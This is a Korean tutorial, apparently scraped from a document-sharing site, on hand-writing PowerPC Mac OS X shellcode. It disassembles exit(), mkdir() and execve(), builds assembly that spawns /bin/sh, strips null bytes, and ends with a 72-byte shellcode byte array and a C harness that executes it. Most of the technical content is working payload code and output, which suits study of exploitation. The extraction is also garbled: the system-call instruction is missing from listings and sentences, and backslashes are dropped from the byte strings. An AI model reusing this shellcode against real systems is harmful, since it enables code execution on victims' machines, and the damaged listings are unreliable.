Execute_Shellcode_on_the_MacOSX.txt - 메모장

Similar documents
Microsoft Word - Execute_Shellcode_on_the_MacOSX_PART_2.doc

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

hlogin2

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

강의10

PowerPoint Template

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

Microsoft Word - building the win32 shellcode 01.doc

Deok9_Exploit Technique

Microsoft Word - FunctionCall

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

PowerPoint 프레젠테이션

/chroot/lib/ /chroot/etc/

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap01-C언어개요.pptx

6주차.key

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

PowerPoint 프레젠테이션

Microsoft Word - 1. ARM Assembly 실습_xp2.doc

PowerPoint 프레젠테이션

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

PowerPoint 프레젠테이션

[8051] 강의자료.PDF

SRC PLUS 제어기 MANUAL

PowerPoint 프레젠테이션

Sena Technologies, Inc. HelloDevice Super 1.1.0

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

Microsoft Word - readme.doc

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다.

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

금오공대 컴퓨터공학전공 강의자료

Microsoft Word - ExecutionStack

Microsoft PowerPoint - comp_prac_081223_2.pptx

JVM 메모리구조

ABC 11장

IDA 5.x Manual hwp

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

PowerPoint 프레젠테이션

lecture4(6.범용IO).hwp

1217 WebTrafMon II

Microsoft PowerPoint - chap06-2pointer.ppt

BMP 파일 처리

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

금오공대 컴퓨터공학전공 강의자료

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

hlogin7

OCW_C언어 기초

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

C# Programming Guide - Types

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

No Slide Title

Microsoft PowerPoint - lab14.pptx

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - o8.pptx

경우 1) 80GB( 원본 ) => 2TB( 복사본 ), 원본 80GB 는 MBR 로디스크초기화하고 NTFS 로포맷한경우 복사본 HDD 도 MBR 로디스크초기화되고 80GB 만큼포맷되고나머지영역 (80GB~ 나머지부분 ) 은할당되지않음 으로나온다. A. Window P

BufferOverflow on Solaris Sparc


윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

컴파일러

Figure 5.01

Microsoft PowerPoint - ch07 - 포인터 pm0415

vi 사용법

Microsoft PowerPoint - additional01.ppt [호환 모드]

Secure Programming Lecture1 : Introduction

MPLAB C18 C

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

02 C h a p t e r Java

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

The Pocket Guide to TCP/IP Sockets: C Version

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

BOF Foundation.doc

<52544CC0BB20BEC6B4C2B0A12E687770>

Microsoft PowerPoint APUE(Intro).ppt

untitled

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

Secure Programming Lecture1 : Introduction

Microsoft PowerPoint - chap06-1Array.ppt

PowerPoint 프레젠테이션

Microsoft PowerPoint - 00_(C_Programming)_(Korean)_Computer_Systems

Fedora Core 3,4,5 stack overflow.docx

PowerPoint 프레젠테이션

untitled

Here is a "PLDWorld.com"... // EXCALIBUR... // Additional Resources // µc/os-ii... Page 1 of 23 Additional Resources: µc/os-ii Author: Source: HiTEL D

학번 : 이름 : 1. 다음파일트리구조를가진유닉스시스템이있다고가정하자. / /bin/ /home/ /home/taesoo/ /usr/ /usr/lib/ /usr/local/lib /media 모든폴더에파일이하나도없다고가정했을때사용자가터미널에서다음 ls 명령입력시화면출력

History

게시판 스팸 실시간 차단 시스템

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - chap04-연산자.pptx

T100MD+

Transcription:

####################################################################### Execute Shellcode on the MacOSX 1ndr4 "indra.kr". " x40". "gmail.com" http://indra.linuxstudy.pe.kr 2005. 08. 19. ######################################################################## 0x00. Introduction 0x01. Preparation 0x02. Disassemble the exit() function 0x03. Execution of mkdir() function 0x04. Implementation of shellcode using execve() function 0x05. Remove the 0x00 code 0x06. The end 0x07. Reference 0x00. Introduction ------------------ Processor : PowerPC G4 400MHz Memory : 320RAM SDRAM Developer Packages : Xcode Tools (developer kit for macosx) OS Version : MacOSX 10.3.9(7W98) - Panther Kernel Version : Darwin 7.9.0 Updated Packages : Full Patches - 2005. 08. 19. 회사에서 Mac 관련프로토콜인 AppleTalk 라는프로토콜을개량, 연구하는일을하다보니맥을접할수있는계기가많아졌다. 이쪽일을하게된것이 04 년 4 월쯤부터니까.. 1 년조금넘게한것같다. 게다가 Mac 9 에서 Mac 10 으로올라오면서 Darwin kernel 에 unix based 라는것이매우마음에들었다. linux/freebsd 에서는 shellcode 를직접만들어봤고, windows 쪽은솔직히관심없어서안했고, Mac 쪽의 ppc shellcode 를직접만들어보리라생각을했었다. 엄청난삽질을예감하고기쁜마음이었는데우연히 B-r00t 가쓴 "Smashing The Mac For Fun & Profit" 문서를찾게되었다. 대충내용을보니쉽게설명이되어있는것같았고그런문서가존재하는것을알고는김이팍새버렸다. 그래서다짐했다. ' 저문서보지말고처음부터하자 ' 그래서지금부터삽질을할것이다. 처음부터... 이문서에는 Mac OS X 를인스톨하고 root 권한을가지고, developer tool 에관련된이야기까지적을것이다. 0x01. Preparation ----------------- 나는회사의맥용머신에 10.3 버전인 Panther 버전을깔았다. ( 이하 Mac) 메모리는 320RAM 인데, 하는일자체가프로토콜개량쪽이다보니많은메모리를가진머신이필요없었다. 처음인스톨하고 linux 와같은 ' 콘솔 ' 메뉴가있어이를클릭해보면 terminal 이실행된다. unix 기반 OS 를다룬사람은금방터득할수있는어플리케이션이다. 또한 windows 에도 explorer.exe 가전체 GUI shell 을담당하듯, Mac 에는 'Finder' 라는프로세스가전체 GUI shell 을담당한다. bsd 처럼, /etc/inetd.conf 에의해 service 를설정할수있었기에 telnet port 를열고 terminal 로접속을했다. 처음 Mac 을깔면 ' 관리자계정 ' 이라는것을만드는데, windows 의 administrator 권한과같은것같다. (root 계정과는별개 ) 그리고 root 계정을얻기위해응용프로그램 -> 유틸리티 -> 'NetInfo 관리자 ' 를열어 root 의 password 필드부분의값을전부지웠다. 그러고나니 terminal 로접속한계정에서 su - 를사용하여패스워드없이 root 계정을얻을수있었다. google 에찾아보니 'NetInfo 관리자 ' 에서변경후에 nidump passwd. 를한번실행해주라하는데, 나는그렇게하지않아도됐었다. 그후에다시 NetInfo 관리자를열어 root 의 password 부분에 '*' 를채워주고 root 권한의 terminal 에서 passwd root 를사용함으로써 root 패스워드를재설정했다. 그리고는 gcc, gdb 등의 application 을깔아야했는데 apple.com 에가입해서 Xcode tools 패키지를다운받고인스톨을한후에야 gcc, gdb 등의어플리케이션을사용할수있었다. 0x02. Disassemble the exit() function ------------------------------------- 나는 linux 에서도그렇고 freebsd 에서도그랬지만, 제일처음디스어셈블을하는

함수가바로 exit() 함수이다. 그결과는다음과같았다. indra:~/shellcode indra$ cat > exit.c #include <stdio.h> exit(33); indra:~/shellcode indra$ gcc -o exit exit.c -g indra:~/shellcode indra$ alias gdb='gdb -q' indra:~/shellcode indra$ gdb./exit Reading symbols for shared libraries.. done (gdb) disas main Dump of assembler code for function main: 0x00001de8 <main+0>: mflr r0 0x00001dec <main+4>: stmw r30,-8(r1) 0x00001df0 <main+8>: stw r0,8(r1) 0x00001df4 <main+12>: stwu r1,-80(r1) 0x00001df8 <main+16>: mr r30,r1 0x00001dfc <main+20>: li r3,33 0x00001e00 <main+24>: bl 0x1e04 <dyld_stub_exit> End of assembler dump. (gdb) q indra:~/shellcode indra$ exit() 함수에인자로주어진 33 은일부러넣어본것이고, 컴파일 -g 옵션을넣어봤다. 그리고디버깅을했는데 IA(Intel Architecture) 와는디스어셈블결과가확연하게달랐다. 그래서 apple.com 에서 assembly manual 을찾아번역해가면서의미를알아봤다. 참고로그곳에는이런이야기가쓰여있다. "The order of operands is destination <- source." 즉, operand 의순서는 dst,src 가된다는이야기다. movl $0x00,%eax 는 src,dst 순서가되어 eax 레지스터에 0x00 값을집어넣지만, li r2,1 이면 dst,src 순서가되어 r2 레지스터에 1 값을집어넣는다는이야기다. 0x00: mflr r0 ; link register(=mfspr 1, r0) 0x01: stmw r30,-8(r1) ; Store Multiple Word 0x02: stw r0,8(r1) ; Store Word 0x03: stwu r1,-80(r1) ; Store Word With Update 0x04: mr r30,r1 ; Move Register 0x05: li r3,33 ; Load Immediate 0x06: bl 0x1e04 ; Branch gas 에서는정수 33 이라는값을입력할때 (Immediate), 16 진수로변환하여 21 이라는값을저장했어야하는데 Mac ASM 은이것을변환하지않고그대로저장하게한다. 또한함수인자가들어가는 register. 즉, linux gas 의 register 는 %ebx 부터였지만, 저기서는 r3 이라는곳에들어간다. 일단이것을컴파일해서실행해보면다음과같다. indra:~/shellcode indra$./exit indra:~/shellcode indra$ echo $? 33 indra:~/shellcode indra$ shell program 상에서 $? 는프로그램종료시반환된값이저장되어있는것을사용해서 echo 로찍어보았더니정상적으로실행이됐다는것을확인할수있다. 일단우리는 bl(branch) 은 linux 의 call operator 와같다고생각할수있다. linux - call exit Mac - bl exit shellcode 를실행할때는 call operator 가아닌 interrupt operator 를사용하는구조로이루어져야한다. 찾아보니 라는 operator 가현재 Mac 의 System interrupt operator 로분류되어사용되어지고있었다. linux - int $0x80 Mac - 삽질을한번해보기로했다.

r0 - r31 까지기본적인목적레지스터이고, /usr/include/sys/syall.h 에각시스템콜넘버가기록되어있으므로, 이것들을조합해서짜보기로했다. indra:~/shellcode indra$ cat 2.s li r0,1 li r3,33 indra:~/shellcode indra$ cc -o 2 2.s indra:~/shellcode indra$ echo $? 0 indra:~/shellcode indra$./2 indra:~/shellcode indra$ echo $? 33 indra:~/shellcode indra$ 일단은원하는대로된것인지프로그램결과값이 33 이나왔다. 0x03. Execution of mkdir() function ----------------------------------- exit() 함수를 operator 사용으로구현한것까지는좋은데, 그다음으로쉬워보이는 mkdir() 을구현해보는것이다. 아직까지는인자의두번째가 r4 register 로가야하는지어디로가야하는지불분명하다. 이것도삽질을해서풀어보려한다. indra:~/shellcode indra$ cc -o mkdir mkdir.c -g indra:~/shellcode indra$./mkdir indra:~/shellcode indra$ ls -al AAAA total 0 drwx------ 2 indra indra 68 17 Aug 04:02. drwxr-xr-x 14 indra indra 476 17 Aug 04:02.. indra:~/shellcode indra$ cat mkdir.c #include <stdio.h> mkdir("aaaa", 0700); indra:~/shellcode indra$ gdb./mkdir Reading symbols for shared libraries.. done (gdb) disas main Dump of assembler code for function main: 0x00001d98 <main+0>: mflr r0 0x00001d9c <main+4>: stmw r30,-8(r1) 0x00001da0 <main+8>: stw r0,8(r1) 0x00001da4 <main+12>: stwu r1,-80(r1) 0x00001da8 <main+16>: mr r30,r1 0x00001dac <main+20>: bcl- 20,4*cr7+so,0x1db0 <main+24> 0x00001db0 <main+24>: mflr r31 0x00001db4 <main+28>: addis r3,r31,0 0x00001db8 <main+32>: addi r3,r3,584 0x00001dbc <main+36>: li r4,448 0x00001dc0 <main+40>: bl 0x1f3c <dyld_stub_mkdir> 0x00001dc4 <main+44>: mr r3,r0 0x00001dc8 <main+48>: lwz r1,0(r1) 0x00001dcc <main+52>: lwz r0,8(r1) 0x00001dd0 <main+56>: mtlr r0 0x00001dd4 <main+60>: lmw r30,-8(r1) 0x00001dd8 <main+64>: blr End of assembler dump. (gdb) q indra:~/shellcode indra$ 복잡한명령어들을거쳐 r3 register 에값이들어가고, r4 register 까지값이쓰인후에야 branch 로 mkdir 이실행되는것을볼수있다. 간단한어셈코드로만들면다음과같다..data str:.text.aii "AAAA 0"

li r0,136 ; /usr/include/sys/syall.h lis r3,ha16(str) ; upper 16bits of address addi r3, r3, lo16(str) ; lower 16bits of address li r4,448 ; permission, Dec: 448, Oct: 700 최종목표는 shellcode 인데, linux shellcode 만들때같은방식으로만들어볼까한다. linux shellcode 만들때에는우선 IA32 가 Little Endian 시스템이므로문자열들을 4 바이트씩쪼개 0x67452301 형식으로거꾸로만들어버린후 push operator 를사용해 stack 에해당값들을집어넣고 stack pointer 인 esp 값으로문자열의주소를계산해서활용했었다. "PowerPC Technical Tidbits" 문서에따르면 Mac 에서 stack pointer 에해당하는레지스터는 r1 이라고하며, 이 r1 을 stwu operator 로연산하면 stack frame 이만들어진다고한다. 그것을토대로코드하나를짜서테스트해봤다. stwu r1,-8(r1) ; stack pointer lis r31,0x4141 ; upper 2bytes (0x41410000) addi r31,r31,0x4141 ; lower 2bytes (0x41414141) stwu r31,0(r1) ; pushing value in to stack mr r3,r1 ; first value (address of string) xor. r31,r31,r31 ; XOR stwu r31,4(r1) ; pushing value in to stack (0x4141414100000000) li r0,136 number li r4,448 ; second value (permission) 솔직히위의코드하나때문에거의몇시간동안삽질했다. memory alignment, register 나 operand 이름같은것들이 linux 때와는다르게너무생소하기도하고 x86 기반 little endian 에서만 shellcode 를만들었던지라 big endian 이라는것도적응하기힘든요인으로작용했다. 일단, stack pointer 로정해져있는 r1 register 의값을조정해 8 바이트의 stack 공간을만들었다. 그리고문자열을 r31 register 에 Immediate 하고그것을 stack 영역에복사했다. xor 을사용해문자열의끝을알리는부분도만들어넣었고, 그리고 를실행한다. 위의코드를실행하면정상적으로 AAAA 라는이름의디렉토리가만들어진다. 퍼미션도정확하다. char damn[] = " x94 x21 xff xf8 x3f xe0 x41 x41 x3b" " xff x41 x41 x97 xe1 x00 x00 x7c x23" " x0b x78 x7f xff xfa x79 x97 xe1 x00" " x04 x38 x00 x00 x88 x38 x80 x01 xc0" " x44 x00 x00 x02"; void (*func)(void); func = (void*)damn; func(); C 로 function pointer 를사용해실행하도록포팅한버전에서도역시정상적으로실행됐다. 다만, 위의코드로디렉토리가정상적으로만들어졌지만코어덤프가일어났는데그문제는분기문을끝내기위한 blr 과 exit() 함수의코드를추가함으로써해결됐다. 재미있는것은폴트에러를내면서종료를하길래디버깅하려고 ulimit 으로코어생성을하게했는데도, 현재디렉토리에코어파일이생기지않았다. 그래서찾아본결과 core 파일들은 /cores 디렉토리안에 core.pid 형식으로생기는것을알수있었다. char damn[] = /* mkdir("aaaa 0", 0700); */ " x94 x21 xff xf8 x3f xe0 x41 x41 x3b" " xff x41 x41 x97 xe1 x00 x00 x7c x23" " x0b x78 x7f xff xfa x79 x97 xe1 x00" " x04 x38 x00 x00 x88 x38 x80 x01 xc0" " x44 x00 x00 x02" /* blr */ " x4e x80 x00 x20" /* exit(0); */ " x38 x00 x00 x01 x38 x60 x00 x00 x44" " x00 x00 x02";

void (*func)(void); func = (void*)damn; func(); 0x04. Implementation of shellcode using execve() function --------------------------------------------------------- 자이제 execve() 로 /bin/sh 를실행하는코드를만들때가왔다. 솔직히싱숭생숭하다. 또어떤장벽이날가로막고있을까이런삽질하는맛이라도있어야살지. #include <stdio.h> char *sh[2]; sh[0] = "/bin/sh"; sh[1] = NULL; execve(sh[0], sh, NULL); 너무많이본코드다. execve() 를사용해 /bin/sh 를실행하는 C 코드. 디스어셈블결과는다음과같다. (gdb) disas main Dump of assembler code for function main: 0x00001d84 <main+0>: mflr r0 0x00001d88 <main+4>: stmw r30,-8(r1) 0x00001d8c <main+8>: stw r0,8(r1) 0x00001d90 <main+12>: stwu r1,-96(r1) 0x00001d94 <main+16>: mr r30,r1 0x00001d98 <main+20>: bcl- 20,4*cr7+so,0x1d9c <main+24> 0x00001d9c <main+24>: mflr r31 0x00001da0 <main+28>: addis r2,r31,0 0x00001da4 <main+32>: addi r2,r2,604 0x00001da8 <main+36>: stw r2,64(r30) 0x00001dac <main+40>: li r0,0 0x00001db0 <main+44>: stw r0,68(r30) 0x00001db4 <main+48>: lwz r3,64(r30) 0x00001db8 <main+52>: addi r4,r30,64 0x00001dbc <main+56>: li r5,0 0x00001dc0 <main+60>: bl 0x1f3c <dyld_stub_execve> 0x00001dc4 <main+64>: mr r3,r0 0x00001dc8 <main+68>: lwz r1,0(r1) 0x00001dcc <main+72>: lwz r0,8(r1) 0x00001dd0 <main+76>: mtlr r0 0x00001dd4 <main+80>: lmw r30,-8(r1) 0x00001dd8 <main+84>: blr End of assembler dump. (gdb) q r5 register 가마지막으로 envp 부분이다. 이것을토대로 asm code 를짜봤다. lis r29,0x2f2f ; upper 2bytes ("//") addi r29,r29,0x6269 ; lower 2bytes ("bi") lis r30,0x6e2f ; upper 2bytes ("n/") addi r30,r30,0x7368 ; lower 1byte ("sh") xor. r31,r31,r31 ; XOR stwu r1,-20(r1) ; allocated 20bytes stwu r31,0(r1) ; 0x00000000 stwu r29,4(r1) ; mr r3,r1 ; stwu r30,4(r1) ; first value (path) stwu r31,4(r1) ; 0x00000000 mr r4,r3 ; stwu r4,4(r1) ; address of path push to stack stwu r31,4(r1) ; 0x00000000 mr r4,r1 ;

subi r4,r4,4 ; second value (argv) li r5,0 ; third value (envp) li r0,59 number 의외로길어졌다... 일단실행은성공적이다. indra:~/shellcode indra$ cat 1.s lis r29,0x2f2f ; upper 2bytes ("//") addi r29,r29,0x6269 ; lower 2bytes ("bi") lis r30,0x6e2f ; upper 2bytes ("n/") addi r30,r30,0x7368 ; lower 1byte ("sh") xor. r31,r31,r31 ; XOR stwu r1,-20(r1) ; allocated 20bytes stwu r31,0(r1) ; 0x00000000 stwu r29,4(r1) ; mr r3,r1 ; stwu r30,4(r1) ; first value (path) stwu r31,4(r1) ; 0x00000000 mr r4,r3 ; stwu r4,4(r1) ; address of path push to stack stwu r31,4(r1) ; 0x00000000 mr r4,r1 ; subi r4,r4,4 ; second value (argv) li r5,0 ; third value (envp) li r0,59 number indra:~/shellcode indra$ cc -o 1 1.s indra:~/shellcode indra$./1 sh-2.05b$ ps PID TT STAT TIME COMMAND 675 std S 0:06.54 -bash 4533 std S 0:00.02 //bin/sh sh-2.05b$ 두번째인자값은 'char *const argv[]' 의형태를가지고있고, 이를구현하기위해먼저 stack 에문자열을넣고문자열의 address 를구한다음그 address 를다시 stack 에넣어 address 를뽑아 double pointer 형태로구현했다. indra:~/shellcode indra$ cat shell.c char damn[] = " x3f xa0 x2f x2f x3b xbd x62 x69 x3f xc0" " x6e x2f x3b xde x73 x68 x7f xff xfa x79" " x94 x21 xff xec x97 xe1 x00 x00 x97 xa1" " x00 x04 x7c x23 x0b x78 x97 xc1 x00 x04" " x97 xe1 x00 x04 x7c x64 x1b x78 x94 x81" " x00 x04 x97 xe1 x00 x04 x7c x24 x0b x78" " x38 x84 xff xfc x38 xa0 x00 x00 x38 x00" " x00 x3b x44 x00 x00 x02"; void (*ret)(void); ret = (void*)damn; ret(); indra:~/shellcode indra$ cc -o shell shell.c indra:~/shellcode indra$./shell sh-2.05b$ 역시 C code 로포팅해서실행해도이상없다. 0x05. Remove the 0x00 code -------------------------- 이제거의마지막단계에왔다. 마지막으로현재만들어진 code 에서 0x00 code 를제거하는일만이남았다. 일단다음과같이코드를재정리했다. xor. r5,r5,r5 ; XOR; last value (envp)

lis r29,0x2f2f ; upper 2bytes ("//") addi r29,r29,0x6269 ; lower 2bytes ("bi") lis r30,0x6e2f ; upper 2bytes ("n/") addi r30,r30,0x7368 ; lower 2bytes ("sh") stwu r5,-4(r1) ; pushing 0x00 stwu r30,-4(r1) ; stwu r29,-4(r1) ; first value (path) mr r3,r1 ; stwu r5,-4(r1) ; pushing 0x00 mr r4,r3 ; stwu r5,-4(r1) ; 0x00000000 stwu r4,-4(r1) ; address of path push to stack mr r4,r1 ; second value (argv) lis r6,0x1111 ; pad (0x11110000) addi r6,r6,0x1111 ; pad (0x11111111) subi r0,r6,0x10d6 ; 0x1111(4369) - 0x10d6(4310) = 59 number 그리고디스어셈블결과다음과같이 0x00 코드를제거했는데, 마지막 부분인 0x1e00 부분의 0x44000002 부분이문제로남았다. (gdb) x/72bx main 0x1dbc <_main>: 0x7c 0xa5 0x2a 0x79 0x3f 0xa0 0x2f 0x2f 0x1dc4 <_main+8>: 0x3b 0xbd 0x62 0x69 0x3f 0xc0 0x6e 0x2f 0x1dcc <_main+16>: 0x3b 0xde 0x73 0x68 0x94 0xa1 0xff 0xfc 0x1dd4 <_main+24>: 0x97 0xc1 0xff 0xfc 0x97 0xa1 0xff 0xfc 0x1ddc <_main+32>: 0x7c 0x23 0x0b 0x78 0x94 0xa1 0xff 0xfc 0x1de4 <_main+40>: 0x7c 0x64 0x1b 0x78 0x94 0xa1 0xff 0xfc 0x1dec <_main+48>: 0x94 0x81 0xff 0xfc 0x7c 0x24 0x0b 0x78 0x1df4 <_main+56>: 0x3c 0xc0 0x11 0x11 0x38 0xc6 0x11 0x11 0x1dfc <_main+64>: 0x38 0x06 0xef 0x2a 0x44 0x00 0x00 0x02 (gdb) 예전 solaris shellcode 만들때 lcall 에대한코드도중간에 0x00 코드가있어, 그것을우회하는방법으로 0xff 로치환하는방법을생각했다. 그래서 0x44000002 를 0x44111102 로실행해봤는데, 코드가실행됐다. 삽질끝에또한가지흥미로운점을발견했는데다음과같다. 0x44(anycode 5 characters)2,3,6,7,a,b,e,f -> equiv to 0x44000002 ex) 0x44123452-3 - 6-7 - a - b - e - f 앞의 operator 부분을차지하고있는곳이 0x44 일경우, 중간의내용은상관없이마지막부분만 2,3,6,7,a,b,e,f 라는조건만만족한다면 operator 와같은효과를낼수있는것을확인했다. 혹시나이것이내머신의 memory alignment, 혹은 memory cache 문제일수도있다. 만약그렇다면저위의메일주소로 feedback 을보내주기바란다. indra:~/shellcode indra$ cat final-shellcode.c char damn[] = " x7c xa5 x2a x79 x3f xa0 x2f x2f x3b xbd" " x62 x69 x3f xc0 x6e x2f x3b xde x73 x68" " x94 xa1 xff xfc x97 xc1 xff xfc x97 xa1" " xff xfc x7c x23 x0b x78 x94 xa1 xff xfc" " x7c x64 x1b x78 x94 xa1 xff xfc x94 x81" " xff xfc x7c x24 x0b x78 x3c xc0 x11 x11" " x38 xc6 x11 x11 x38 x06 xef x2a" " x44 x12 x34 x5f"; // <-- maybe magick bytes? ;p void (*func)(void); func = (void*)damn; printf("voila~ %d bytes shellcode! n", strlen(damn)); func(); indra:~/shellcode indra$ gcc -o final-shellcode final-shellcode.c indra:~/shellcode indra$./final-shellcode Voila~ 72 bytes shellcode!

sh-2.05b$ ps grep $$ 28134 std S 0:00.03 //bin/sh 28405 std R+ 0:00.00 grep 28134 sh-2.05b$ 0x06. The end ------------- 드디어끝이났다. 이문서를쓰기시작한것이 17 일이고, 19 일이된지금에야끝을보게됐다. x86 에서의어셈블리어와많은차이점이있었고메모리문제나어셈명령어문제로고민도많이했다. 그런데이렇게끝을맺을수있어서정말다행인것같다. linux 에서문자열을 stack 에넣어 shellcode 를만드는방식은 call/pop/push 로만들었을때보다꽤나작게만들수있었다. 지금나는그방식을통해 72bytes 코드를만들었는데잘만든건지는모르겠다. 전혀경험해보지않았던 ppc assembly 를이틀만에얼렁뚱땅보고해치웠으니까.. 이틀동안삽질했던것. 꽤나즐거웠다. ( 사실, 이번달부터운동한다고시작했건만, 이문서쓰는이틀동안런닝머신에있어도머리에어셈블리코드들이돌아다니는통에운동도제대로못했다 ) 정말많은도움이됐다. 그리고혹시나 ' operator 를우회하는방법 ' 에대해내머신에서잘못됐을수도있으니잘못된내용이라면바로메일로 feedback 해주기바란다. 0x07. Reference --------------- [1] Mac OS X Assembler Guide - http://developer.apple.com/documentation/developertools/reference/assembler/ [2] PowerPC assembly - http://www-128.ibm.com/developerworks/linux/library/l-ppc/ [3] PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessors - http://www-306.ibm.com/chips/techlib/techlib.nsf/techdocs/852569b20050ff778525699600719df2 [4] PowerPC Technical Tidbits - http://www.go-ecs.com/ppc/ppctek1.htm [5] PowerPC Assembly Quick Reference Information - http://class.ee.iastate.edu/cpre211/labs/quickrefppc.html [6] PowerPC Compiler Writer's Guide - http://the.wall.riom.net/books/proc/ppc/cwg/cwg_toc.html